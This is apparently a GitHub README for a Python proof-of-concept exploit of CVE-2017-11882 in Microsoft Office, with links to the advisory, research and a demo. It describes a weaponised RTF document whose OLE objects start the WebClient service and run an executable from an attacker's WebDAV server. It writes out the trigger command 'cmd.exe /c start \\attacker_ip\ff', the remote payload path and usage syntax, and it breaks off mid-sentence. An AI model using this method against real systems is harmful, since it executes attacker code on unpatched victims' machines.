README

CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0IktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1

coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

```
cmd.exe /c start \\attacker_ip\ff
```

Attacker controlled binary path should be a UNC network path:

```
\\attacker_ip\ff\1.exe
```

Usage

```
webdav_exec_CVE-2017-11882.py -u trigger_unc_pa
```

Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

- Python 100.0%

`example` folder holds an .rtf file which exploits CVE-2017